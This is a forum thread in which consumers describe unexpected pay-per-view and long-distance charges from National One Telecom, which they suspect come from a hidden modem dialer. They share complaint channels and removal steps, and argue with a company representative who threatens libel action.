# National one telecom?



## tendoboy101

the other day in the mail i got a bill from national one telecom, telling me i accessed one of their pay per view sites. but inever did. the day and time specified, there was no one even at my house. and there is no number to get back to them or anything. never once on my computer did a site say it was pay per view, nor did i go to a site out of the ordinary...is this a scam? i dont really know where else to ask on this board.


----------



## NationalOne

Hello,

I am the customer service manager at National One Telecom, Inc. Although there is no phone number on the bill, there is a website url where customers are supposed to gain access to our customer service system to have any billing questions answered.

If you prefer please post your invoice number here and I will have someone call you within 72 hours to answer all your questions and resolve any problems that you may have.


----------



## joe2cool

There you go....... of all the forums ! Customer Manager arrives


----------



## kirsten0629

This is a SCAM!!! DO NOT PAY!

I got a bill too. Asked for web site and name of software. They gave me the website, not in history. Would not give name of software, checked to see if there was anything new... Nothing

My phone bill DID NOT have add'l charges on, like they said it would. Checked w/my phone company, they said I wasn't on the phone at that time. In addition they said MOST phone services DO NOT ALLOW third party billing, which this is!!! They wouldn't have let this go through. They advised me to contact FTC, State Attorney General's Office, and the credit bureaus. I did just that and contacted my local news station and sent an e mail to Bill O'Reilly about it!!

Also, used prepaid phone card to call the number listed on the bill. Wonder what I heard at the other end. THIS NUMBER DOES NOT EXIST!!!!

Looked up the company list in Dallas, not there, not anywhere!!!!

As soon as I sent an e mail stating that I had contacted FTC, State Attorney General's Office, Credit Bureau's, etc. I promptly got an e mail back saying they made a mistake.... DARN RIGHT YOU DID!!! Keep in mind their website says they almost never make mistakes. They only make mistakes when a phone line has just been switched over to another. Most phone companies leave numbers inactive for 6 months before reassigning.

It was also OBVIOUS they got my name out of the phone book b/c it is misspelled in the phone book, but correct on my actual phone bill. HAD IT ACTUALLY HAPPENED, THEY WOULD HAVE HAD THE RIGHT INFO.

I cannot stress it enough, when you get a bill from someone you don't know, google it, check FTC website, call anyone else involved. These people try to blame it on kids or grandkids. Check with your phone carrier. Tell them you have to investigate on your own to make sure it is really real. A good company would POLITELY give you all the info you need.

I believe in capitalism and entrepenuerism. But this is STEALING!!!

Even if you paid this bill you can go back to the FTC, etc. with your canceled check.


----------



## Kudraet

Kirsten, I just got a bill in the mail very similar to yours and have been fighting with some jerk over emails about the charge. Whatever happened with your battle? I couldn't get one piece of info. out of this guy.
Thanks, Kudraet.


----------



## NationalOne

kirsten0629 said:


> This is a SCAM!!! DO NOT PAY!


I'm not sure where you got your information from, but we are not a scam. Furthermore we are incorporated and do business in New Hampshire. If you want look up our corporate records with Experian. Our PO BOX in Dallas is simply a lockbox for collecting payments, nothing else.

A refund has been issued to you, so why are you making a big deal about this on a public forum? You do realize that calling a legitimate company a "scam" on a public forum is libel right?

Please cease such statements immediately or we will have our legal counsel contact you in regards to this.

If you are using a CLEC or are with a LEC that we do not have billing agreements with, we do use alternate sources to pull up your billing info. These sources may contain billing errors, so if someone brings them to our attention we do try our best to correct them.

Do you happen to have your ticket number handy? I would like to review exactly what one of our customer service rep said so I can find out what exactly caused this misunderstanding. I do apologize for the frustration.

As for "Kudraet" have you received charges on your local phone bill or an invoice from us? If you received an invoice please give me your invoice number. If you received charges on your local phone bill, please contact the customer service number listed for more information.

In both cases you may also got our website www.nationalone.com


----------



## kirsten0629

Is that more to your liking Telcom Guy. That is a FACTUAL statement. I have it in writing for your company. The rest of the post was my FACTUAL experience with your company. So there, I retract my "scam" statement. But the facts REMAIN.

No! I am not going to give you my ticket number!! That is PERSONAL acct information....

My phone company has MY NAME correct. I fail to see how you could have possibly gotten the wrong info when you supposedly went through the right company.

So, I got my bill written off... I should be happy... how many other incorrect bills did you send out??? People have every right to question bills from companies for services the never received. Haven't you noticed all these people say they didn't receive any service. I am inclined to believe them over your company, since my experience tells me they are telling the truth. 
I am making such a BIG deal out of this b/c it has happened to me before... Or rather my husband. Remeber the "Jamaican" fortune teller that used to advertise in the middle of the night??? My husband got a bill from her company. Right from the word GO they were threatening legal action, on the first billing (just like Y'all do!). Here was their problem: My husband has NEVER had a phone, or any other utility in his name. (Yet they claimed to use the same technology as you.) He has no bills in his name. Second problem, the phone number this was billed to had been SHUTOFF 4 YEARS BEFORE the transaction was said to have occured. So, lets ask ourselves a question, where else would they have gotten his name from?? Hmmm, MAYBE a telemarketing list seems real obvious to me!!!

Now I wonder where that Jamaican woman went to??? JAIL for BILLING FRAUD. It was on the national news. I DID get a letter from the Florida State Att. Gen.'s office stating that this would not be on my husband's credit report AS IT DID NOT HAPPEN.

To Everyone else on this that reads this:

ask yourself these questions:

what time of day was this transaction said to have happened and what day?

Weird time on a work night?

How many other companies threaten you with legal action on first contact?

For me, only these two.

Double check YOUR phone carriers bill. Is there a corresponding charge?

not for me.

Call your phone carrier. Was this call made, maybe it hasn't been billed yet?

Nope.

What do they suggest you do about it?

Mine said to contact the FTC, State Attorney general, and credit Bureaus. I did just that.

Take a peekie boo at the FTC's website (ftc.gov), what do they say about fraudulent billing with internet companies? Does anything seem similar?

Rang clear as a bell for me.

When i told these guys I had done that I IMMEDIATELY got back an e mail apologising for THEIR "mistake."

Now put it all together, what do you get? Go with the obvious.

These are reasonable and legitimate questions for someone to ask themselves when they get a bill for a company they have never heard of before. 

In closing, I'm sure the Jamaican lady had plenty of other correct billing.

I worry about other people, it upsets me to see others get taken advantage of... Especially, seniors. They would just pay it, never ask, because they don't WANT to think poorly of anyone or anything. This stuff makes me absolutely INDIGNANT.


----------



## NationalOne

I'm sorry but our service is neither a scam nor do we make a large number of errors. With major LECs we have absolutely no problems. CLECs and smaller LECs are more tricky I admit. We handle a large volume of traffic on a daily basis, our grand total number of billing error is about 1.5% if you factor in both LEC and CLEC customers. 

As for your ticket number, no that is NOT private information. We assigned you a ticket number on our customer service system, so how is that information private? It sounds to me like you're not even a customer of ours but someone just trolling the boards OR you are only telling the board the half truth.

I assume by "that Jamaican lady" you mean Miss Cleo? Well like I said in my first post, it sounds like you are a CLEC customer. It is harder to bill for CLEC customers which is why more billing errors occur with CLEC customers. 

Also no Miss Cleo did not goto jail. For starters she doesn't own the company, she's just an actress. Second, the FTC filed a civil suit against the company which does not equate to jail time. 

Look if you want to criticize something that's fine, but it is libelous to call our business a scam because it's not.

Edit: "Second problem, the phone number this was billed to had been SHUTOFF 4 YEARS BEFORE the transaction was said to have occured."

Did you tell our customer service rep that the phone number they billed was shut off? And they didn't give you a refund?

If that's the case I do want to apologize because that is not the acceptable protocol. Since you refuse to give me a ticket number I can't even take action against the rep who did this.

Like I said this happens from time to time. Someone else got your 4 year old phone number and happened to be using a CLEC, made the call using our service and we pulled up the billing information using an alternate BNA source due to the number being assigned by the CLEC. The alternate BNA source had your information on it instead of the customer who is the actual owner of the number now, and we mailed out the invoice to you. This of course was a mistake.


----------



## Kudraet

O.K. National One person.. I can't seem to read my private message so i'm not sure if Kirsten or you sent it, but I'll try and elaborate on my problem. I received an invoice from you guys and not my phone company. I have never heard of you guys before nor did I make the phone call I was charged for. I'll even give you my invoice number since "George" at your email end was no help at all. #216504. There, now tell me this, why is it when I asked for specific details on where this call was made to, who a supervisor there was, what your company is all about, why couldn't I find this call on my local carrier's bill, and many other questions, I got zero answers. I only was told that I was going to have my credit rating ruined if I didn't pay promptly.
I can't in a million years believe that a real company would treat it's so-called customers this way. No phone leading to a real person, no "live" contact with anyone like the bill said, and no response after I pleaded for help form "George." No company would do that unless there are some iffy qualities to it.
I have done just as Kirsten has advised and contacted the FTC, the BBB, and my State Attorny General about this.
I have no idea what a Clec or a Lec is so could you help me with that one as well?
Oh, I checked on the web site that was listed in one of the emails and it wasn't even a site that I would go to in a million years let alone want to give money to and there isn't anyone who could have used my computer to do it for me.
Also, the time listed on the call was when I was on vacation. Intersesting, very interesting. 
And finally, how can some company charge me for a phone call and not my actual phone provider?
One more, why hasn't George gotten back to me?
Thanks.


----------



## NationalOne

Kudraet,

As stated earlier, mistakes do happen. I will personally look into your account and issue a full credit and put a block on the number that was billed. I am also going to be looking into George's track record and take up the issue with his supervisor personally. I deeply apologize if you were treated unfairly, and I assure you that disciplinary action will be taken if all of this is confirmed to be accurate. 

We are extremely proactive on locating complaints that our service was unsatisfactory. I must reiterate that the complaints here are truly the minority, and when these issues are brought to our attention, we act upon them immediately. Once again, we apologize for the inconvenience.


----------



## Maggz

Why is it that you require a plugin to view your site.. Thats not a good way to get customers.. Weather its a scam or not your totally anti-customer.


----------



## surfdude

If all of this is up and up, then why is that phone number on the invoices not a good number when dialed with a phone?

(yes i have an invoice from these people also, with incorrect name etc on the account)


----------



## heywatsup

Why doesn't a telecom company have a phone number?
I'm sure one exists.
This question is directed to the "Customer Service Manager" of National One. Assuming that you have a phone number - please post it as I'm sure 1.5% of your "customers" would like to contact you. I can't download your plugin on your website (proxy server blocks it) and hence can't get anywhere. Why wouldn't your website allow a way to get around the plugin?

Rather than everyone posting their invoice number and the names of your customer service reps. Just post your legitimate number for your legitimate company. I have searched in both Texas and New Hampshire and cannot verify your existance.

This appears to be a typical scam - and you will need to prove otherwise on this forum. I've already looked at Experian as you mentioned - can't find anything.


----------



## FunMan9000

According to the Better Business Bureau, National One Telecom has "been responsive to any complaints brought to its attention by the Bureau. According to information in Bureau files this company has been the subject of a pattern of complaints regarding billing issues." So evidently, if they falsly bill you, which seems to happen quite a bit, they will quickly reverse the payment... LOL Scam?!?! NO way!! Don't mind the sarcasm.

Their phone number is on the BBB website, just follow this link!
http://www.dallas.bbb.org/commonreport.html?compid=90010840
Or, for another possible "branch" of their company in New Hampshire, check this link out.
http://www.bbbnh.org/commonreport.html?compid=92005198
They say on this page, "The Better Business Bureau has requested basic information from this company. The Bureau has not received a response. Without this information, the Bureau may not have current information concerning such things as the company's management or its nature of business." 



> Registration and WHOIS Service Provided By: directNIC.com
> 
> Intercosmos Media Group, Inc. provides the data in the directNIC.com
> Registrar WHOIS database for informational purposes only. The information
> may only be used to assist in obtaining information about a domain name's
> registration record.
> 
> directNIC makes this information available "as is," and does not guarantee
> its accuracy.
> 
> Registrant:
> National One Telecom, Inc.
> PO BOX 130959
> Dallas, TX 75313-0959
> US
> 1-866-293-3814
> 
> Domain Name: NATIONALONE.COM
> 
> Administrative Contact:
> Griffin, Steve [email protected]
> PO BOX 130959
> Dallas, TX 75313-0959
> US
> 1-866-293-3814


As a last hurrah, check out there "plug-ins" website for a surprise. HTTP://WWW.CANDIDPUBLISHING.COM
They are the guys who signed the "plugin" to make it "secure."

Have FUN!!  
*SCORE!!*


----------



## heywatsup

Good post - good information from FunMan9000. If you have any questions about their company, their phone number is apparently 1-866-293-3814 as listed on the NIC registry under "registrant" and also as "administrative contact" and also on the BBB of Dallas website. Thanks FunMan9000.

One quick call to that number told me I will not be sending any money. My local TV news will be very energetic in researching this piece of paper.


----------



## Michael515

National One Telecom Person,

I also recieved a bill from your company, unfortunately for me my phone company confirms that my computer did indeed make the call. I originally contacted your company through your customer service page to have the matter looked into. I just tried to contact them again via the same webpage to have them place a block on my phone and got a message saying that I have exceded my "monthly allowance of trouble tickets". I have, I believe successfully removed your software from my computer and would like to be sure that this doesn't happen again. Please look into this. My invoice number is 213110.


----------



## Revenger

I can also chip in with another problem.

My most recent phone bill contained 2, third party, long distance charges to the UK at high cost. Upon investigation, apparently my PC had somehow used my modem without my authorization to dial long distance to some premium internet porn sites.

Some phone company named USBI billed my phone company(Verizon), on behalf of two other small telecom places which are Listed on my phone bill as 
-One Call Comm(unications?)
-Tellsys

Verizon told me to talk to USBI, in turn USBI gave me customer service numbers for both of the above 'companies'. I was totally in the dark as to what happened, as the only answer I could get was that someone in my household had accessed a premium website thru the internet. Now, to Verizon, this showed up as one of those 10-10 ****numbers, thats what their people said, so for me thats bad because it legitimizes that there was in fact a call made from my home.

I asked for blocks to be put on my number at all these 3rd party telecom places. Now, I repeatedly asked what website exactly was accessed. The answer was always, "we don't know, just one of the sites that we serve" etc.."check your history"...

I know, you may be thinking this has nothing to do with National One Telecom, but when I was on the phone with the Tellsys customer support guy, he said that if I wasn't computer savvy, I could go to *www.nationalone.com* !, and that they could tell what website I visited! OK so the rabbit whole goes even deeper, as if the 3 branching phone companies billing me wasn't complicated enough!

I installed Ad-Aware 6.0 and it found a Dialer on my PC! A dialer that I never approved of! I highly suggest that those of you involved do an Ad-Aware scan of your pc, and see if it finds a COULOMB DIALER. I did a search on this thing, and guess what, its a porn related dialer that installs and dials a high cost phone number with your modem...and the company that made it...is from the UK...the place my long distance calls were made. What probably happened is that some porn websites modified a legit Coulomb Dialer to suit their needs, and to scam people out of a quick 50 bucks without their knowlegde. I'm sure National One Telecom is connected to this scam. These dialers are programmed to dial out, after you disconnect from the internet, but they lay dormant for awhile in hopes that the user has left the home, or in bed etc...

This dialer is most likely one of those 'drive-by' spyware programs. Go to the wrong website on accident, and BLAM...it installs.

Now, what concerns me, is what does National One Telecom have to do with my phone bill? Strange, because I emailed them thru their support page on the website.(and whats with the plug-in?), and I got a reply saying I visited a website that I know I never visited, not to mention, I asked about 2 calls that were made, and 'George' only gave me a single website. How can it be only 1 website, but with 2 calls to two different numbers? That sounds like a spam response to me, and yet another part of this dirty little scam.

Here's some fat to chew on: Some people got a direct bill from National One Telecom. Some people, like myself, recieved a bill tacked on to their main phone bill from a third party which at first glance had nothing to do with National One Telecom, but investigation led me to them in the end.

National One Telecom probably will use 3rd party billing in the event that certain phone providers offer it, becuase it draws no attention, and seemingly no evidence that they are involved in anything. Look, I had to call 3 customer service numbers before I was directed to www.nationalone.com. SCAM! This is the first step in a scam, hoping that the customer will deem it too complicated and time consuming to pursue the problem.

Like others have pointed out, why the plug-in to view the site?(oh btw, I found the plug-in file you can delete...the name of the file is NationalOne3762742.dll).

Please stop with the threats of filing lawsuits against members on libel. Thats really pathetic, plus it just illegitimizes you further, to keep threatening people. Its bad enough to read it on your lame FAQ section of the website, then you bring it here. Is that what you do? Do you walk around town threatening everyone with bogus lawsuits? Strong-arming is step 2 in the scam...make the customer afraid to do anything with threats of damaging their credit, or suing them into oblivion...make the customer think they have no chance.

Where is the credibility of National One anyway? You say you are based in New Hampshire, yet another member posted the address and phone number, which were in Dallas, Texas! Now, you say the address is just a P.O. Box...what about the phone number? Is that a PO Box too? Not to mention that the Better Business Bureau has received no response from you on basic information about the business?

Why do you not supply a phone number on your website? Why do you require a request to obtain the un-intall instructions for your 'software'? That should be made obtainable in a menu on your main page. In fact, I think you should post IN FULL, the complete Un-Install instructions right here in this thread...would you do that?

I am contacting my Local BBB, and most likely my local TV stations, which serve a large area. People need to be aware of this. It's best to put it in the hands of the people who can get something really done about it.


----------



## Revenger

Michael515 said:


> National One Telecom Person,
> 
> I also recieved a bill from your company, unfortunately for me my phone company confirms that my computer did indeed make the call. I originally contacted your company through your customer service page to have the matter looked into. I just tried to contact them again via the same webpage to have them place a block on my phone and got a message saying that I have exceded my "monthly allowance of trouble tickets". I have, I believe successfully removed your software from my computer and would like to be sure that this doesn't happen again. Please look into this. My invoice number is 213110.


Micheal...would you be so kind as to tell us this software, and what you did to remove it? That would be much appreciated and it would be good to make this info public...that way people doing a google search for this subject could see the uninstall instructions without having to ask www.nationalone.com...considering they probably won't be around much longer.


----------



## Kudraet

Oh my! Revenger, you just wrote word for word what I just went through with many customer sevice reps not more than five minutes ago. Very weird, I just got off the phone and explained it all to my wife and BOOM! I went on to the internet and read your post.

Here is what I found out. My local phone subscriber told me they have been seeing more of these lately, and they would help with anything they could, but I should try and take care of it with the USBI company first. By the way, as far as I can see, the third party billing companies like USBI are companies that just support the scam by not caring what companies are charging the public. Anyways, I talked to a supervisor at USBI, and he was a total prick. He told me that the calls were legit and if I have a problem I should call the same two companies that you were told to: ONE CALL COMM and TELLISS. He also told me they were colsed now so don't bother right now.

I tried anyways and got a hold of ONE CALL COMM right away and went into my tale. Before I really got into it the cumster service woman said she would take care of it. She didn't care what had happened or who was involved, she just wanted to credit me and when she tried to put a block on my line, she said there already was one.

Now that got me thinking. ONE CALL COMM isn't supposed to be affiliated with National One Telecom, I was told they were with TELLISS, but how could a block be put on my phone by a company that I had never contacted??? I only complained to National One, no one else---SCAM. So I was credited at least. When I tried to call TELLISS, they were closed, so I'll I have to try on Monday.

Again, this is a huge SCAM, but the laws seem to support it since the phone carriers have to honor the charges by the third party billing companies. No one really cares that much about us so this forum has been a huge help. Thank you everyone who has posted with their problem, it's nice to know sometimes you are not alone.

Revenger, how did you find the Nationalone file, and what do I do exactly when I find it? I'm not that savy.
Thanks....


----------



## Revenger

@Kudreat...you can locate the plug-in file by clicking 'Start' then 'search',(I don't know what OS you are using), then "all files and folders"(make sure you search the Crive), then just type in NationalOne...you should find it...it would speed up the search if you knew the date you visited the site, plus the file is only like 200k in size, so you can also click "files under 1MB in size"

when you find it just right click, then delete to send it to the recycle bin.


----------



## Kudraet

Revenger! Thanks for the info again. I found the file and deleted it. How did you get the Ad-Aware program? Does it cost money? Just the basic info. would help again.
Thanks.


----------



## Flrman1

Here you go:

Go here and download Adaware 6 Build 181

Install the program and launch it.

First in the main window look in the bottom right corner and click on *Check for updates now* and download the latest referencefiles.

Make sure the following settings are made and on -------*ON=GREEN*

From main window :Click *Start* then *Activate in-depth scan (recommended)*

Click *Use custom scanning options* then click *Customize* and have these options selected: Under *Drives and Folders* put a check by *Scan within archives* and below that under *Memory and Registry* put a check by *all* the options there.

Now click on the *Tweak* button in that same window. Under *Scanning engine* select *Unload recognized processes during scanning* and under *Cleaning Engine* select *Let windows remove files in use at next reboot*

Click *proceed* to save your settings.

Now to scan just click the *Next* button.

When the scan is finished mark everything for removal and get rid of it.(Right-click the window and choose *select all* from the drop down menu and click *Next*)

*Restart your computer*.


----------



## Michael515

Revenger,

Actually I couldn't find the software, didn't even have a name for it do a search (thanks for all the help National One! They say they'll instruct you on how to unistall the program, but when I asked they totally ignored my request. All they did was to insist that I, or someone else in my household accessed a pay per view site and that if I didn't pay up it would effect my credit rating). I ended up doing a clean install of my operating system which blew away everything! 

I also had the automatic dialer that dialed out EVERY time I got off the internet. After I got the bill and got nowhere with the National One customer service people I decided that blowing away the hard drive was the surest way to stop this crap from happening again.

So, I'm still out $84 for the National one bill and my phone company is charging me another $48 for the call. That's $132 I'm shelling out for NOTHING! I never accessed the site they say I accessed and I live alone so no one else could have done it either. What goes around, comes around so I'm sure that National One and other companies with such devious ways of treating people will be get whats coming to them eventually. I just wish I could be there to watch them fall!


----------



## Kudraet

Michael515!!! DO NOT PAY-your phone company should be there for you in this as mine is, but you still need to get a hold of the (I'm assuming they are the same two companies as Revenger and myself) third party billing companies and have them credit you. If you already paid, then re-read Kirstens first post and see what she did to get credited.

There is no way a credit history should be able to be ruined over this crap so keep fighting. The most you should lose is time over this.

Again, thanks to Avenger, Kirsten, and Flrman1 for all the advice and help.


----------



## Revenger

If you read the National One Telecom FAQ...it says over and over again on how you 'clearly' have to press 'agree' on the licensing agreement, or that you can 'clearly' HEAR your modem dialing out the number, as to make it sound impossible for the user to not know whats going on.

Strange how if it was so obvious to users, that its popped up on his FAQ page? If it was so obvious, why would it be a FAQ? Also, strange how EVERYBODY involved with their scam is totally oblivious to what happened, they never agreed to anything, and they never heard or knew their modems dialed any numbers. The truth is that these little Dialer programs are designed to lie in a dormant state waiting for the computer user to be gone, and some of them are designed to MUTE the dial-out audio on the modem itself.

My best educated guess right now is that we all had been infected with a drive-by dialer that called some crazy long distance number to a porn site. The porn site bills a company like National One Telecom, in an effort to launder and legitimize the charges, who in turn passes it to yet another party..which launders National One Telecom a bit.

National One Telecom( the more I type NATIONAL ONE TELECOM, the better chance of Google picking up this thread) pops up a website to make the company appear to be legitimate, but looks are decieving, anybody can build a website, especially a cheesy little HTML based website like theirs.

I would bet money that every single email that www.nationalone.com recieves is an email concerning fraudulant charges...just look at their FAQ page for goodness sake. They know what is going on, they can play dumb about it and just say that they are passing along the charges from their serviceable websites, but they are a link in the chain. How could they NOT know? Who ****ing calls the solomon Islands at $4/min at 11:30 on a Sunday morning?


----------



## Revenger

I did a search of .exe files for on my Harddrive and I have two .exe files that were created on the date that my long distance charges were made. I don't know what they do...I clicked on them and didn't notice anything happen. But I thought I would just put them on this thread and see if anyone else has them installed on their HD...or maybe I'm just being paranoid...but I want to get rid of all files that may have been used to do this to us.

-dcjvpgwy.exe
-orlmxqrq.exe


----------



## TechGuy

For the record, I have had no personal experience with National One Telecom and have nothing to gain by siding with either party.

National One Telecom has requested that this thread be deleted and has threatened legal action if we do not. National One Telecom believes that this thread is a "libelous attack" on their business.



> As the owner of the site, we are holding you and your company responsible for hosting this material. I assure you, that if this matter is not taken care of by the end of the weekend the situation is going to escalate drastically. I sincerely hope for your sake, and the sake of your company that we put this matter to rest immediately.


My reply:


> I certainly haven't ignored your concerns. You originally contacted me only yesterday. As promised, I've posted the thread in the Moderators' section for review.
> 
> I'd like to resolve this, but I don't see how we can possibly do so over a weekend. However, if you'd like to give me your attorney's name and phone number, I can have mine call on Monday.
> 
> Thanks,
> -Mike


----------



## ~Candy~

Revenger said:


> If you read the National One Telecom FAQ...it says over and over again on how you 'clearly' have to press 'agree' on the licensing agreement, or that you can 'clearly' HEAR your modem dialing out the number, as to make it sound impossible for the user to not know whats going on.


Not all modems make dial out noises  Mine doesn't, never has.


----------



## kirsten0629

*Libel* - 1a) a written statement in which a plaintiff in certain court sets forth the cause of action or the relief sought b: _archaic_ a handbill esp. attacking or defaming someone 2a) a written or oral defamatory statement or representation that conveys *UNJUSTLY unfavorable* impression b: a statement or representation published *WITHOUT just cause* and tending to expose another to public contempt 
-Merriam Webster

All of that definition refers to is that we are being "unfair" to them for conveying our PERSONAL and TRUE experiences with this company. If it is TRUE and FACTUAL, how are we being unfair?? How is it fair to send out billing, that we have discovered to be inaccurate. Are you trying to say that a little Nail Technician and housewife is BULLYING corporate America?? I never knew I had such power!!! I think I'll start on the insurance companies next...

I really have a hard time believing that they will do anything "legally," what can they do?? All it would seem they would accomplish is to expose themselves further.

Tech Guy:

I never knew my post would get such a response. I know it may be a hassle for you, never intended it to be... I was just trying to level the playing field. When I googled this company I found nothing. I did a lot of work to discover the truth. I wanted to give others a place to start looking.

I was just trying to be a socially responsible person. When you are walking in the woods with your friend aren't you supposed to break off the branch that just hit you in the face?? Or just leave it to hit them too?! I personally break it off.

If they really hassle you, make another post and I will forward all of my info and copy of my bill to you for your lawyers. I would hope the others who have been helped by my post would be glad to do the same. Maybe it can be used as evidence to defend the posts since they are true. I believe it to be fairly obvious that this does need to stay up... Other folks are looking for help and info.

Y'all: If this does get deleted, tell everyone you know or speak to about your experience with National One Telecom. Write letters to the editor's of your local Newspapers. Or maybe you could make little sheets with all the numbers and website's for the FTC, State Attorney Gen's Offices, BBB, etc. I can't help myself, I have to start something else.

Yours Truly,

The Big Bad Bully


----------



## heywatsup

Tech Guy -
If you get their attorney's name and phone number I hope that you can and will post it in this thread. Thanks for standing strong.


----------



## Maggz

I hope you guys all get credited for this.. I hate frauds! Good luck :up:


----------



## Revenger

Hahaha! Too Bad National One guy...I already printed out this thread in full! I would suggest everyone involved do the same.

@TechGuy...I would not be mad if you deleted this thread...it's your website, and if you would appear to be in danger someway, I would understand. Just remember that this is a business that hasn't responded to any of the BBB's requests for information, and also that the BBB has said they have a pattern of complaints concerning fraudulant charges. The government is on our side on this one.


----------



## kirsten0629

Hey guys,

I downloaded the software flrmn gave us intstructions for.... I was able to at least run it to see if anything was hidden on my computer. It said there was nothing there.  No dialer. I looked again as someone suggested, and only found myself looking them up and my e mails to them.

Did anyone else notice we all had the same customer service rep, "George?" That is kind of funny too...


----------



## Kudraet

I'll help with anything anyone might need.
I finally heard from George!!!!
He said I need not worry about any charges or any future charges.
Victory at last? I hope so.


----------



## Revenger

Kudraet said:


> I'll help with anything anyone might need.
> I finally heard from George!!!!
> He said I need not worry about any charges or any future charges.
> Victory at last? I hope so.


Hmm...well if www.nationalone.com is willing to work this out truthfully and honestly with me, then I would consider not contacting my local BBB this week. However, I am not going to use the website of theirs to contact them as I don't want that plug-in back on my pc.

If 'George' or the user National One contacts me via PM here at this website, we can work it out. I have a question though as to why their name isn't on my phone bill, and they used two other little companies to charge me, both of which directed me to National One. I had already sent payment to my Verizon because I didn't want any bad credit with them...but I do want reimbursment and a gaurantee of no future charges from National One.

See I don't want to contact them thru their website because if you read this thread http://forums.techguy.org/t229696.html ....it looks like I have a dialinstaller from nationalone.com on my pc still...I thought I had removed everything. Who knows what that plug-in of theirs puts on your computer


----------



## kirsten0629

Kudreat,

That's great you got your bill written off!!

But, keep a copy of that e mail with the bill. Keep it somewhere safe in case you apply for credit later, and you find them on your report. You should be able to use that to get the three major bureaus to delete it, and your local one too. I kept my note from the Florida State Attorney Gen's Office when the Jamaican fortune teller was trying to rip us off. I kept it until we applied for a new mortgage, and I could clearly see it was no where to be found.

Revenger,

I don't know what your chances are of getting your money back. And, I don't blame you for not wanting to go back on their website. You may need your State Attorney Gen's office to mediate this for you. I doubt the national One Telecom guy is coming back in here... He seemed to kind of sneek out with his tail between his legs. Call Verizon back and talk to them about it. See what they have to say. If you don't like it try back another day at a totally different time. You will probably get another customer rep., maybe they will be more agreeable. If not, ask for a Supervisor. Keep asking until you get all the way up the chain. Hint at switching providers. I know it is time consuming... But it sounds like some of you guys got billed way more than me! I was only billed $16 and went off the deep end.


----------



## Kudraet

I was billed $36.00 from National One, then got my phone bill later and had another $112 on there as well. I still have one more step to go on the total refund but George assured me that I wouldn't have any more trouble. We will see.

I am keeping everything. I have copied every post from here and every email from National one. A few stated I don't owe a thing. I still worry and for good reason.

I still would contact as many organizations as possible if I were you Revenger. At least if you can't get anywhere soon you will have records of making a complaint.

Man, I hope this never happens again to any of us.

Donations will be coming soon Tech guys-thanks for the help.


----------



## Kudraet

I just talked to the third party billing company, Telliss, (the last step for me) and a girl answered. She gave me the credit in about one second. I asked if she knew anything about National One and she said she is just filling in for someone. Funny that an ultra-temp girl can issue a credit and know nothing about why, who, how, etc.. She did ask what I knew, and I told her some. She then told me mine wasn't the only call about this issue.
This whole thing still stinks, and I hope everyone else gets their credit or refunds.


----------



## fizhon

I to received a bill for $84.00 for a call placed to the UK from a phone number that I canceled over 3 months ago. The customer support person"George" said that I did make the call and must pay the bill or it would be turned over to a collection agency and that I would'nt want my credit ruined from this. I email "George" back and stated that I talked with my phone company and that indeed the number in question was not mine and he still wrote that I need to pay this bill. I have also filed a complaint on econsumer.gov website.
https://www.econsumer.gov/pls/econsumer/wimsnery2$com.main?p_lang_seq=1


----------



## Michael515

fizhon,

Thanks for the URL. I have also registered a complaint with econsumer.gov. Hopefully we can all get our problems resolved and those of us who have already sent in payment will get a full refund. The only difference I'm seeing is that my customer sevice person a National One was called "Stacie"


----------



## kirsten0629

Fizhon and Michael,

I found the way to get them to back of IMMEDIATELY is to tell the you complained to a whole bunch of goverment commerce agencies. I really did complain, but I also told them I had done that.

I complained to the FTC, my State Attorney General's Office, & the three major credit bureau's. I think I also told them that I had contacted my local FOX station and Bill O'Reilly on FOX cable news channel. Others also have included the BBB. My experience was that I immediately received a letter from my customer serv. rep stating that they did make a mistake, and I did not have to pay the bill.

Check out this link and see if it sounds familiar... http://www.ftc.gov/bcp/conline/pubs/alerts/adultalrt.htm

Chances are, they will leave you guys alone, but the State may not be that interested in your complaint as it would probably be seen as having been resolved. And I cannot stress it enough, DO NOT PAY them one cent... I don't know how you would ever get it back! If and when they get found out, they will probably declare bankruptcy. Or something to that effect, to get out of refunding anyone's money.

Make sure you take good notes when you speak to people on the phone, anyone involved. And keep all copies of any correspondence you get via e mail. Keep it all until the next time you go to apply for credit, and you can see it is not there. I say to wait b/c they could try to sneek it on there a year later, and you would never know the difference, and maybe have even thrown all your info away.

And! Don't forget the software flrmn put on the board. Download it, use it, probably should buy it. Instead of sending National One their "payment" send some of it to the guys that keep this board going!! Be sure to mention that when you e mail your cust serv reps back to tell them who all you have complained to. I'm sure that will really burn their cookies. 

Good Luck!


----------



## fizhon

Kirsten0629,
I to filed complaints with the FTC, BBB of Dallas and my States Attorney's office. It was amazing this morning after emailing "George" and notifying "him" that all these complaints have been filed my account was credited and no further action will be taken.


----------



## brentkd

how do i get these people who did the SAME THING to me as to yuo guys please help. my email is [email protected]


----------



## copellia

Count me as another receiving a mystery bill from National One. My complaints have been sent to FTC, and BBB's New Hampshire and Dallas. My bill was for $84 from National One and $41.79+ tax as a third party charge on my phone bill. Do these numbers sound like everyone else's. Thanks to all for helping me clean out my computer.

The FTC is encouraging everyone to contact them. You can do it online (Federal Trade Commission) or call them at (877) 382-4357.


----------



## Cebkent

What the status of National One's threat of legal action against this site? I would think any lawyer would take this one on pro bono!


----------



## TechGuy

Cebkent said:


> What the status of National One's threat of legal action against this site? I would think any lawyer would take this one on pro bono!


They sent me the lawyers name and phone number on Monday, but no area code... I replied asking for it, but haven't heard anything since then.


----------



## ~Candy~

http://martindale.com/xp/Martindale/home.xml


----------



## Cebkent

TechGuy said:


> They sent me the lawyers name and phone number on Monday, but no area code... I replied asking for it, but haven't heard anything since then.


Well I was referring to the fact that any lawyer would want to take YOUR side pro bono...

But it's no wonder they are already utilizing delay tactics. Who are the scum that run these companies?? I believe in buyer beware and all, but geez louise... I really feel sorry for all these victims of such dishonesty.


----------



## TechGuy

Looks like they're watching! I just got a call and I've got the number now so I can have my attorney give them a call. We'll see what happens from here...


----------



## ~Candy~

Yep, NationalOne is online now 

I'd still check Martindale  Obviously he/she has to be licensed to practice in PA


----------



## kirsten0629

I found another message board with gripes about National One Telecom. You can either google "National One Telecom" or go to: 
http://badbusinessbureau.com/reports/ripoff92774.htm

It looks as though they may have another fire to put out, and hopefully not so interested in hassling you guys. Anyone else that has had problems with these folks check it out. It looks as though the other board contacts National One Telecom for you. It at least sends a copy of your complaint to them. And true to form they backed down on the bill.

There is also a neat little Revenge Kit sort of thing. Sounded interesting, but I can obviously stir things up on my own, and quite nicely at that! Check out all my previous posts in this forum.


----------



## haihoanp

